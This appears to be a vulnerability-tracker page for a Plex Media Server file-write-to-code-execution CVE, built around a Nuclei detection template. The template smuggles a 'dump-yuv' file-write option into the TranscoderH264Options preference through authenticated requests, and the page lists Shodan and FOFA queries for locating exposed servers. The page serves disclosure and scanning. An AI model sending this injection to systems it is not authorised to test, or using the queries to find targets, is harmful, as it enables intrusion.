CVE-2026-96656: Plex Media Server < 1.43.3.10861 - Arbitrary File Write to Code Execution

2026-11-14 PoC Public

Description

Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference TranscoderH264Options is appended verbatim to x264's option string on every transcode. At startup, all .so files are run without signature, execute bit, or symbol checks.

Details

CVE
CVE-2026-96656 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-96656

info:
  name: Plex Media Server < 1.43.3.10861 - Arbitrary File Write to Code Execution
  author: DhiyaneshGeek
  severity: high
  description: |
    Plex Media Server before 1.43.3.10861 allows an admin user to write arbitrary files that may be executed on load. The preference TranscoderH264Options is appended verbatim to x264's option string on every transcode. At startup, all .so files are run without signature, execute bit, or symbol checks.
  impact: |
    Admin users can write and execute arbitrary files, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 1.43.3.10861 or later.
  reference:
    - https://www.zmain.info/blog/plex2shell
    - https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319
    - https://www.cve.org/CVERecord?id=CVE-2026-96656
    - https://nvd.nist.gov/vuln/detail/CVE-2026-96656
    - https://github.com/code-zm/plex2shell
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2026-96656
    cwe-id: CWE-73
  metadata:
    verified: true
    max-request: 3
    vendor: plex
    product: plex_media_server
    shodan-query: port:32400 "X-Plex-Protocol"
    fofa-query: port="32400" && header="X-Plex-Protocol"
  tags: cve,cve2026,plex,kev,vkev,authenticated,file-upload,rce,intrusive

variables:
  marker: "{{to_lower(rand_text_alpha(12))}}"

flow: |
  (function() {
    if (!http(1)) return false;
    var ok = http(2);
    http(3);
    return ok;
  })();

http:
  - raw:
      - |
        PUT /:/prefs?TranscoderH264Options=dump-yuv%3D%2Ftmp%2F{{marker}}.txt%3Aqp%3D0 HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 204'
        internal: true

  - raw:
      - |
        GET /:/prefs HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "transcoderh264options")'
          - 'contains(to_lower(body), to_lower("dump-yuv=/tmp/" + marker + ".txt:qp=0"))'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"value"\s*:\s*"([^"]*dump-yuv[^"]*)"'
          - 'id="TranscoderH264Options"[^>]*value="([^"]*dump-yuv[^"]*)"'
          - 'value="([^"]*dump-yuv[^"]*)"[^>]*id="TranscoderH264Options"'

  - raw:
      - |
        PUT /:/prefs?TranscoderH264Options=nuclei-cleared HTTP/1.1
        Host: {{Hostname}}
        X-Plex-Token: {{token}}

    matchers:
      - type: dsl
        dsl:
          - 'true'
        internal: true
# digest: 490a00463044022000c40ddd11e8b3d476bdb274af25467debfdf5b2a4923809f76cb49778013dce0220768dc67fa0a55fbe8ad7a939d2ea661551ca4edbde220d18686859d4888cfd18:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life